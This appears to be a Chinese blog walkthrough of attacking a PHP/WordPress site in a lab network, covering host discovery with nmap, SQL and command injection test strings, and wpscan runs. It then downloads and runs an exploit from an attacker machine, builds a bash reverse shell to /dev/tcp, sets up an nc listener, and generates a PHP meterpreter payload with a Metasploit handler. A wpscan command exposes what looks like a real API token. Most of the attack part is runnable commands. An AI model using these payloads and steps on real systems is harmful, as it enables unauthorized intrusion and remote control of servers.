PHP站点渗投

简介: PHP站点渗投

image.png

image.png

cd\
cd .\Users
dir
cd yuanfh
cd .\Desktop\
ls
.\pc.psl

image.png

.\pc.psl
..\pc.psl
powercat

image.png

测试注入点是否存在通常是指在Web应用程序的安全测试中,检查是否有可能执行SQL注如、命令注入或其他类型的注入公鸡。这是一个敏感的操作,因为它涉及到可能违反法律和道德规范的行为。在进行此类测试之前,你必须确保你有权对目标系统进行安全测试,通常这意味着你需要得到系统所有者或管理员的明确许可。

发现地址

在Kali Linux中,有许多工具可以用来发现局域网内的IP地址。以下是几种常用的方法:

使用arp命令

arp命令可以显示本地计算机的ARP缓存表,其中包含了局域网内设备的IP地址和MAC地址。

sudo arp -a

1.

使用nmap工具

nmap是一个强大的网络扫描工具,可以用来发现局域网内的活跃主机。

sudo nmap -sn 192.168.1.0/24

1.

这里的192.168.1.0/24是你想要扫描的网络地址。这个命令会扫描该网段内的所有IP地址,并显示哪些地址有回应。

基本端口扫描

要扫描局域网内所有主机的开放端口,可以使用以下命令:

sudo nmap -p- 192.168.1.0/24

1.

这里,-p-参数表示扫描所有65535个TCP端口,192.168.1.0/24是要扫描的局域网网段。

指定端口范围扫描

如果你只想扫描特定的端口范围,可以使用以下命令:

sudo nmap -p 1-1024 192.168.1.0/24

1.

这里,-p 1-1024表示只扫描1到1024号端口。

快速扫描(SYN扫描)

如果你想进行更快速的扫描,可以使用SYN扫描(也称为半开放扫描):

sudo nmap -sS -p- 192.168.1.0/24

1.

这里,-sS参数表示使用SYN扫描。

使用ping命令

ping命令可以用来测试与某个IP地址的连通性。你可以遍历一个网段的所有IP地址来发现活跃的设备。

for ip in $(seq 1 254); do  

   ping -c 1 192.168.1.$ip &>/dev/null && echo "192.168.1.$ip is up"  

done

1.

2.

3.

这个脚本会依次ping局域网内的每个IP地址,并打印出有回应的地址。

使用fping工具

fping是一个快速的ping工具,可以同时ping多个IP地址。

sudo fping -a 192.168.1.0/24

1.

使用netdiscover工具

netdiscover是一个用于发现局域网内所有设备的工具。

sudo netdiscover -r 192.168.1.0/24

1.

使用avahi-browse工具

avahi-browse是一个用于浏览局域网内设备的服务发现工具。

sudo avahi-browse -a

1.

使用ipneigh命令

ipneigh命令可以显示本地网络接口的邻居缓存表。

sudo ip neigh show

1.

使用tcpdump工具

tcpdump是一个网络嗅探工具,可以用来捕获和分析网络流量。通过分析捕获的数据包,你可以发现局域网内的IP地址。

sudo tcpdump -i eth0 -nn host 192.168.1.0/24

1.

以下是一些常见的注入点测试方法:

SQL注如测试

单引号测试:尝试在输入框中输入单引号',如果应用程序返回错误或者异常,这可能表明存在SQL注如的风险。

基于错误的注入:尝试输入可能导致SQL语法错误的输入,比如1' OR '1'='1,如果应用程序返回了数据库的错误信息,这可能是一个注入点。

基于时间的注入:使用延时函数,如MySQL中的BENCHMARK()或SLEEP(),来测试应用程序的响应时间是否有异常变化。

基于联合查询的注入:尝试使用UNION SELECT语句来检索额外的数据,例如1 UNION SELECT version(), @@version--。

命令注入测试

分隔符测试:尝试在输入中加入操作系统命令分隔符,如Windows中的;或Linux中的&&或|,看是否能执行多个命令。

特殊字符测试:尝试输入特殊字符,如&、<、>、*等,这些字符在命令行中有特殊含义,可能导致意外的命令执行。

反引号测试:在一些编程语言中,如PHP,可以使用反引号`来执行系统命令,尝试输入包含反引号的输入,看是否能执行命令。

注意事项

合法性:未经授权的渗投测试是非法的,务必获得相应的授权。

道德性:即使获得了授权,也应遵循道德准则,避免对生产环境造成影响。

责任性:在发现漏动后,应负责任地向系统所有者报告,而不是滥用这些信息。

安全性:在进行测试时,确保自己的行为不会对系统的安全性和稳定性造成威胁。

如果你是在合法授权的情况下进行测试,可以使用专业的工具如SQLMap、Burp Suite等来自动化检测注入点。这些工具能够帮助你更有效地识别和验证潜在的注入漏动。记住,任何安全测试都应该在合法和道德的框架内进行。

image.png

image.png

发现可疑的路径点击进来查看,看看重要文件,发现备份下载下来。

经过查看是一个web的网站源码,就是下面这个文件夹gila的备份zip

image.png

使用wpscan扫描

wpscan  --url http://172.31.1.30/wp

wpscan 是一个用于审计 WordPress 网站安全的工具。它能够检测 WordPress 核心、插件、主题中的已知漏动,以及提供一些其他有用的信息。

如果你想要对 http://172.31.1.30/wp 进行扫描,可以使用以下命令:

wpscan --url http://172.31.1.30/wp


这个命令将会对指定的 URL 进行一个基本的扫描。默认情况下,wpscan 会检测 WordPress 核心、插件和主题的版本,并检查是否有已知的安全漏动。

附加选项

wpscan 提供了许多附加选项,可以根据需要进行配置。以下是一些常用的选项:

--enumerate: 枚举更多的信息,例如用户、插件、主题等。

--plugins: 只扫描插件。

--themes: 只扫描主题。

--vulns: 显示已知漏动。

--output-file <file>: 将扫描结果保存到文件。

例如,如果你想要枚举用户并显示已知漏动,可以使用以下命令:

wpscan --url http://172.31.1.30/wp --enumerate u --vulns

image.png

wpscan --api-token hDYOmjBiuxVlkLVk4wkSPHESisqIqmVUoM8rG0PmaY0 --url http://172.31.1.30/wp


当你使用 wpscan 进行 WordPress 安全扫描时,如果你有一个 WPScan API 密钥(API token),你可以将其添加到命令中以解锁额外的功能和更快的扫描速度。API 密钥通常用于支持 WPScan 项目,并通过捐赠获得(目前免费)。

以下是如何在你的命令中包含 API 密钥的示例:

wpscan --api-token hDYOmjBiuxVlkLVk4wkSPHESisqIqmVUoM8rG0PmaY0 --url http://172.31.1.30/wp


在这个命令中,hDYOmjBiuxVlkLVk4wkSPHESisqIqmVUoM8rG0PmaY0 是你的 API 密钥,http://172.31.1.30/wp 是你要扫描的 WordPress 站点的 URL。

附加选项

除了基本的扫描之外,你还可以添加其他选项来定制你的扫描。例如,如果你想要枚举用户并检查已知的漏动,你可以使用以下命令:

wpscan --api-token hDYOmjBiuxVlkLVk4wkSPHESisqIqmVUoM8rG0PmaY0 --url http://172.31.1.30/wp --enumerate u --vulnerabilities


在这个命令中,--enumerate u 表示枚举用户,而 --vulnerabilities 表示检查已知的漏动。

通用流程

扫端口-发现端口-发现web站点/应用-手动搜集信息-遍历目录-后台登陆页面及重要文件-根据扫描到的目录、版本信息查看有什么针对性的专用漏动扫描器-检查有没有扫描可以利用。

sql注如

发现诸如点-sqlmap跑数据库名和表名-爆破应用数据库及数据表-管理员/用户数据表把账户和密吗下载出来-做破接-利用密吗登录管理员后台-进一步渗投站点

image.png

image.png

cd /tmp
pwd
wget http://172.31.1.16/exp
chmod 777 exp
./exp

image.png

看回显发现也没有问题,成功了。执行了exp之后也获得了权限

以下是具体步骤:

在Kali机器上安装并配置Web服务器(以Apache为例):

sudo apt-get update
sudo apt-get install apache2


将反弹shell脚本上传到Apache的默认目录(通常是/var/www/html):

sudo cp /path/to/your/reverse_shell.php /var/www/html/


确保Apache服务正在运行:

sudo systemctl start apache2
sudo systemctl enable apache2


在Web端,使用wget命令下载反弹shell脚本。首先,找到你的Kali机器的IP地址,然后在Web端执行以下命令(将your_kali_ip替换为实际的IP地址):

wget http://your_kali_ip/reverse_shell.php


下载完成后,你可以使用PHP或其他支持的语言来执行反弹shell脚本。例如,如果你使用的是PHP,可以在Web端执行以下命令:

php reverse_shell.php


或者

要在Web端利用wget下载Kali机器上的反弹shell,你需要遵循以下步骤:

首先,在Kali机器上创建一个反弹shell脚本。这里我们使用bash shell作为示例:

#!/bin/bash
bash -i >& /dev/tcp/your_attacker_ip/your_attacker_port 0>&1


将上述代码中的your_attacker_ip和your_attacker_port替换为你的公鸡者IP地址和端口号。

保存脚本到一个文件,例如reverse_shell.sh,并确保它具有可执行权限:

chmod +x reverse_shell.sh


在Kali机器上启动一个监听器,以便接收反弹的shell连接。你可以使用netcat或nc工具来实现这一点:

nc -lvp your_attacker_port


将your_attacker_port替换为你在第1步中设置的端口号。

在Web端,使用wget命令下载反弹shell脚本。假设你已经知道Kali机器上的URL路径(例如:http://kali_machine_ip/reverse_shell.sh),则可以使用以下命令:

wget http://kali_machine_ip/reverse_shell.sh


下载完成后,你可以在Web端的机器上运行下载的反弹shell脚本,以连接到Kali机器:

./reverse_shell.sh


现在,你应该已经成功建立了从Web端到Kali机器的反弹shell连接。请注意,这种方法仅适用于你有权限访问Kali机器上的反弹shell脚本的情况。此外,出于安全原因,不建议在生产环境中使用此类技术。

exp编写

在Kali Linux上,你可以使用Metasploit框架来创建一个针对特定网站的漏动利用(exploit)脚本。以下是一个简单的示例,用于创建一个基于PHP的Web应用程序漏动的Metasploit模块:

首先,确保你已经安装了Metasploit框架。如果没有,请运行以下命令安装:

sudo apt-get update
sudo apt-get install metasploit-framework


创建一个新的Metasploit模块。打开终端并输入以下命令:

msfvenom -p php/meterpreter_reverse_tcp LHOST=your_kali_ip LPORT=your_kali_port -f raw > shell.php


将your_kali_ip替换为你的Kali Linux机器的IP地址,将your_kali_port替换为你希望监听的端口号。这将生成一个名为shell.php的文件,其中包含一个反向TCP Meterpreter shell。

将生成的shell.php文件上传到目标网站的服务器上。你可以使用FTP客户端、SCP或其他方法将文件传输到目标服务器。

在Kali Linux上,启动Metasploit控制台并设置监听器:

msfconsole

在Metasploit控制台中,输入以下命令以设置监听器:

use exploit/multi/handler
set PAYLOAD php/meterpreter_reverse_tcp
set LHOST your_kali_ip
set LPORT your_kali_port
exploit


现在,当目标用户访问上传了shell.php文件的网站时,他们将被连接到你的Kali Linux机器上的Metasploit监听器。你可以在Metasploit控制台中执行各种命令来控制目标系统。

请注意,这只是一个简单的示例,实际的公鸡可能需要更复杂的漏动利用和公鸡策略。在进行任何形式的渗投测试或公鸡之前,请确保你拥有合法的授权和权限。


相关文章
|
2月前
|
存储 安全 Linux
【Azure 应用服务】App Service For Linux 怎么安装Composer,怎么安装PHP扩展,怎么来修改站点根路径启动程序?
【Azure 应用服务】App Service For Linux 怎么安装Composer,怎么安装PHP扩展,怎么来修改站点根路径启动程序?
|
PHP Apache
PHP服务环境配置之 WampServer的站点配置与基本使用
PHP服务环境配置之 WampServer的站点配置与基本使用
100 0
|
应用服务中间件 PHP nginx
php的nginx站点域名后面输入d.aspx跳转至当前页面的index.php
php的nginx站点域名后面输入d.aspx跳转至当前页面的index.php
135 0
|
PHP
15个学习PHP的国外好站点推荐
译文链接:开源中国社区
942 0
|
Web App开发 存储 监控
使用 HAProxy, PHP, Redis 和 MySQL 轻松构建每周上亿请求Web站点
国内私募机构九鼎控股打造APP,来就送 20元现金领取地址:http://jdb.jiudingcapital.com/phone.html内部邀请码:C8E245J (不写邀请码,没有现金送)国内私募机构九鼎控股打造,九鼎投资是在全国股份转让系统挂牌的公众公司,股票代码为430719,为“中国PE第一股”,市值超1000亿元。
1201 0
|
网络协议 关系型数据库 Apache
为什么php+apache本地站点访问超级慢
/etc/hosts中必然有一行为127.0.0.1,作用是什么呢? 特点: (1)127.0.0.1不光是unix系统,linux也好,windows也好,都会有这个循回地址的。(2)在IP地址的规定中,第一部分是1~126为A类地址,128~191为B类地址,那么中间留的127.
1129 0
|
存储 分布式计算 PHP
地球上最大的PHP站点 后端技术解密
Facebook的扩展性挑战 在我们讨论细节之前,这里有一些Facebook已经做的软件规模: ◆Facebook有570000000000每月页面浏览量 (据Google Ad Planner) ◆Facebook的照片量比其他所有图片网站加起来还多(包括Flickr等网站) ◆每个月超过...
1027 0
|
27天前
|
安全 关系型数据库 MySQL
PHP与MySQL交互:从入门到实践
【9月更文挑战第20天】在数字时代的浪潮中,掌握PHP与MySQL的互动成为了开发动态网站和应用程序的关键。本文将通过简明的语言和实例,引导你理解PHP如何与MySQL数据库进行对话,开启你的编程之旅。我们将从连接数据库开始,逐步深入到执行查询、处理结果,以及应对常见的挑战。无论你是初学者还是希望提升技能的开发者,这篇文章都将为你提供实用的知识和技巧。让我们一起探索PHP与MySQL交互的世界,解锁数据的力量!
|
1月前
|
NoSQL 关系型数据库 MySQL
不是 PHP 不行了,而是 MySQL 数据库扛不住啊
【9月更文挑战第8天】这段内容讨论了MySQL在某些场景下面临的挑战及其原因,并指出这些问题不能完全归咎于MySQL本身。高并发读写压力、数据量增长以及复杂查询和事务处理都可能导致性能瓶颈。然而,应用程序设计不合理、系统架构不佳以及其他数据库选择和优化策略不足也是重要因素。综合考虑这些方面才能有效解决性能问题,而MySQL通过不断改进和优化,仍然是许多应用场景中的可靠选择。